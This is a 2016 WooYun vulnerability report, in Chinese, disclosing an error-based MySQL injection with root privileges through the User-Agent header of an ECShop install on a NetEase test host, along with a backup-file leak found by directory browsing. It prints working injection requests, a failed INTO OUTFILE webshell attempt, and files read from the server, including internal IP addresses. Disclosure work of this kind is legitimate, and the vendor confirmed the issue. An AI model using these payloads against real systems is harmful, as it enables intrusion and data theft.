当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190307

漏洞标题:网易某站点MySQL注入(root)和备份文件泄漏

相关厂商:网易

漏洞作者: lijiejie

提交时间:2016-03-29 10:19

修复时间:2016-05-15 10:40

公开时间:2016-05-15 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-31: 厂商已经确认,细节仅向厂商公开
2016-04-10: 细节向核心白帽子及相关领域专家公开
2016-04-20: 细节向普通白帽子公开
2016-04-30: 细节向实习白帽子公开
2016-05-15: 细节向公众公开

简要描述:

网易某站点MySQL注入(root)和备份文件泄漏

详细说明:

目录浏览,备份文件(sql,zip)打包下载:

http://tx2-bk02-30013.i.nease.net/


netease.index.png


logo目录下是ecshop,存在MySQL注射,root权限。

漏洞证明:

GET /logo/mobile/ HTTP/1.1
User-Agent: test'+(select 1 from (select count(*),concat( floor(rand(0)*2), 0x5e5e5e, user(), 0x5e5e5e) x from information_schema.character_sets group by x)y)#
Cookie: ECS_ID=06b1e3e2558cdd1cc6e4c2f7aeaf2980a0b17577; real_ipd=106.38.178.198
Host: tx2-bk02-30013.i.nease.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


[error] => Duplicate entry '1^^^root@localhost^^^' for key 'group_key'

netease.mysqli.png


将logo.zip解压到我的Linux服务器,尝试找一个可写的目录,很遗憾,没找到((┬_┬)。。。),所以这里直接写webshell不成功:

GET /logo/mobile/ HTTP/1.1
User-Agent: test' union select 1,2,3,4,5 into outfile '/var/www/html/bak/t.txt'#
Cookie: ECS_ID=06b1e3e2558cdd1cc6e4c2f7aeaf2980a0b17577; real_ipd=106.38.178.198
Host: tx2-bk02-30013.i.nease.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


netease.output.fail.png


available databases [4]:
[*] information_schema
[*] miqi2
[*] mysql
[*] performance_schema


系统是debian:

#Netease Mirror
deb http://apt.x.netease.com:8660/debian/ jessie main non-free contrib
deb http://apt.x.netease.com:8660/debian/ jessie-updates main non-free contrib
deb-src http://apt.x.netease.com:8660/debian/ jessie main non-free contrib
deb-src http://apt.x.netease.com:8660/debian/ jessie-updates main non-free contrib
deb http://apt.x.netease.com:8660/debian-security/ jessie/updates main non-free contrib
deb-src http://apt.x.netease.com:8660/debian-security/ jessie/updates main non-free contrib


select load_file('/etc/hosts'):    
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Following entries are specific to your environment
123.58.190.48 h1-o
123.58.190.49 h2-o
123.58.190.50 r1-o
10.120.190.48 h1
10.120.190.49 h2
10.120.190.50 r1
10.120.165.165 r2
10.120.164.144 r3

修复方案:

这么个测试站,建议还是不要绑到外网IP上了

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-31 10:37

厂商回复:

该站点属于测试站点,目前已经下线,感谢您对网易产品的关注。

最新状态:

暂无